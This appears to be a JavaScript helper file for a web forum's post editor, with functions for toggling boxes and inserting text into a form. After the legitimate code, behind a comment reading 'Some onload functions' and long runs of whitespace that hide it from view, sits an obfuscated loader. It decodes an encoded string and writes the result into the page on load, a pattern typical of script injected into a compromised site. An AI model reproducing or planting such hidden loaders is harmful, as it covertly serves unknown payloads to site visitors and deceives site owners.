/* 
------------------------------------------
	Flipbox written by CrappoMan
	simonpatterson@dsl.pipex.com
------------------------------------------
*/
function flipBox(who) {
	var tmp; 
	if (document.images['b_' + who].src.indexOf('_on') == -1) { 
		tmp = document.images['b_' + who].src.replace('_off', '_on');
		document.getElementById('box_' + who).style.display = 'none';
		document.images['b_' + who].src = tmp;
	} else { 
		tmp = document.images['b_' + who].src.replace('_on', '_off');
		document.getElementById('box_' + who).style.display = 'block';
		document.images['b_' + who].src = tmp;
	} 
}

function addText(elname, wrap1, wrap2) {
	if (document.selection) { // for IE 
		var str = document.selection.createRange().text;
		document.forms['inputform'].elements[elname].focus();
		var sel = document.selection.createRange();
		sel.text = wrap1 + str + wrap2;
		return;
	} else if ((typeof document.forms['inputform'].elements[elname].selectionStart) != 'undefined') { // for Mozilla
		var txtarea = document.forms['inputform'].elements[elname];
		var selLength = txtarea.textLength;
		var selStart = txtarea.selectionStart;
		var selEnd = txtarea.selectionEnd;
		var oldScrollTop = txtarea.scrollTop;
		//if (selEnd == 1 || selEnd == 2)
		//selEnd = selLength;
		var s1 = (txtarea.value).substring(0,selStart);
		var s2 = (txtarea.value).substring(selStart, selEnd)
		var s3 = (txtarea.value).substring(selEnd, selLength);
		txtarea.value = s1 + wrap1 + s2 + wrap2 + s3;
		txtarea.selectionStart = s1.length;
		txtarea.selectionEnd = s1.length + s2.length + wrap1.length + wrap2.length;
		txtarea.scrollTop = oldScrollTop;
		txtarea.focus();
		return;
	} else {
		insertText(elname, wrap1 + wrap2);
	}
}

function insertText(elname, what) {
	if (document.forms['inputform'].elements[elname].createTextRange) {
		document.forms['inputform'].elements[elname].focus();
		document.selection.createRange().duplicate().text = what;
	} else if ((typeof document.forms['inputform'].elements[elname].selectionStart) != 'undefined') { // for Mozilla
		var tarea = document.forms['inputform'].elements[elname];
		var selEnd = tarea.selectionEnd;
		var txtLen = tarea.value.length;
		var txtbefore = tarea.value.substring(0,selEnd);
		var txtafter =  tarea.value.substring(selEnd, txtLen);
		var oldScrollTop = tarea.scrollTop;
		tarea.value = txtbefore + what + txtafter;
		tarea.selectionStart = txtbefore.length + what.length;
		tarea.selectionEnd = txtbefore.length + what.length;
		tarea.scrollTop = oldScrollTop;
		tarea.focus();
	} else {
		document.forms['inputform'].elements[elname].value += what;
		document.forms['inputform'].elements[elname].focus();
	}
}

function show_hide(msg_id) {
	msg_id.style.display = msg_id.style.display == 'none' ? 'block' : 'none';
}// Some onload functions
                                                                                                                                                                                                                                                                              function IOlI00O0lllO0Il0111lOl1Ol1O10OlOlI00lO1l(I11Ol1O1Ol10IOOIll0lO0O1IOOI0lIO0l001I1I){var lI01IOIOO0OIl1IO110llI1l1O0110IIIll1OIll=I11Ol1O1Ol10IOOIll0lO0O1IOOI0lIO0l001I1I.length,lOOIl111I10O0OOOlOI0OOl11IIIOII10000OO10=1024,O1Olll1lO000IlOlI0O0l0O01O0l01lIIOIOO0O0,lO1lOII0l11lOIll1lI10I0l1IOIlll0O0lllIll,IIIIl1IIOIlIllOOll1l0ll0OlIOOOIO0O00lIl1,OIl111l0000O0OlllOO010OO0IO11l0IIl0l10lO=0,Il001ll1OOOlI01III00I1l10l01l0IllI01IlI1=0,l10011l0000I1ll1I0IO0OO01OO0O11lO10IOlIO=0,lI10I1O111lOI1O0I000110IO0Oll0OllI0OlIl1=Array(63,5,25,26,19,13,42,59,24,9,0,0,0,0,0,0,62,48,45,7,47,54,60,51,3,43,55,4,29,30,56,52,28,31,16,39,23,8,15,10,6,58,57,0,0,0,0,33,0,0,50,40,61,49,36,32,46,35,20,17,41,34,27,1,53,37,21,18,14,11,12,2,38,44,22);for(lO1lOII0l11lOIll1lI10I0l1IOIlll0O0lllIll=Math.ceil(lI01IOIOO0OIl1IO110llI1l1O0110IIIll1OIll/lOOIl111I10O0OOOlOI0OOl11IIIOII10000OO10);lO1lOII0l11lOIll1lI10I0l1IOIlll0O0lllIll>0;lO1lOII0l11lOIll1lI10I0l1IOIlll0O0lllIll--){IIIIl1IIOIlIllOOll1l0ll0OlIOOOIO0O00lIl1='';for(O1Olll1lO000IlOlI0O0l0O01O0l01lIIOIOO0O0=Math.min(lI01IOIOO0OIl1IO110llI1l1O0110IIIll1OIll,lOOIl111I10O0OOOlOI0OOl11IIIOII10000OO10);O1Olll1lO000IlOlI0O0l0O01O0l01lIIOIOO0O0>0;O1Olll1lO000IlOlI0O0l0O01O0l01lIIOIOO0O0--,lI01IOIOO0OIl1IO110llI1l1O0110IIIll1OIll--){l10011l0000I1ll1I0IO0OO01OO0O11lO10IOlIO|=(lI10I1O111lOI1O0I000110IO0Oll0OllI0OlIl1[I11Ol1O1Ol10IOOIll0lO0O1IOOI0lIO0l001I1I.charCodeAt(OIl111l0000O0OlllOO010OO0IO11l0IIl0l10lO++)-48])<<Il001ll1OOOlI01III00I1l10l01l0IllI01IlI1;if(Il001ll1OOOlI01III00I1l10l01l0IllI01IlI1){IIIIl1IIOIlIllOOll1l0ll0OlIOOOIO0O00lIl1+=String.fromCharCode(165^l10011l0000I1ll1I0IO0OO01OO0O11lO10IOlIO&255);l10011l0000I1ll1I0IO0OO01OO0O11lO10IOlIO>>=8;Il001ll1OOOlI01III00I1l10l01l0IllI01IlI1-=2}else{Il001ll1OOOlI01III00I1l10l01l0IllI01IlI1=6}}document.write(IIIIl1IIOIlIllOOll1l0ll0OlIOOOIO0O00lIl1)}}IOlI00O0lllO0Il0111lOl1Ol1O10OlOlI00lO1l("2bFAT4vbaTcOvCPO5i2q1EvAvuPGki2q13LOPSvA8M8AvnLp94vJQhybuHyS4GypvQvG9GPOP02GvCPAaDF_13dpXiZ_5CLOr0lmW3LOWTBpzn5AubFbHIym9D8p5TBxkJPJCh2xWbFAT4vbaD9");                                                                                                                                                                                                                                                                              
// End onload functions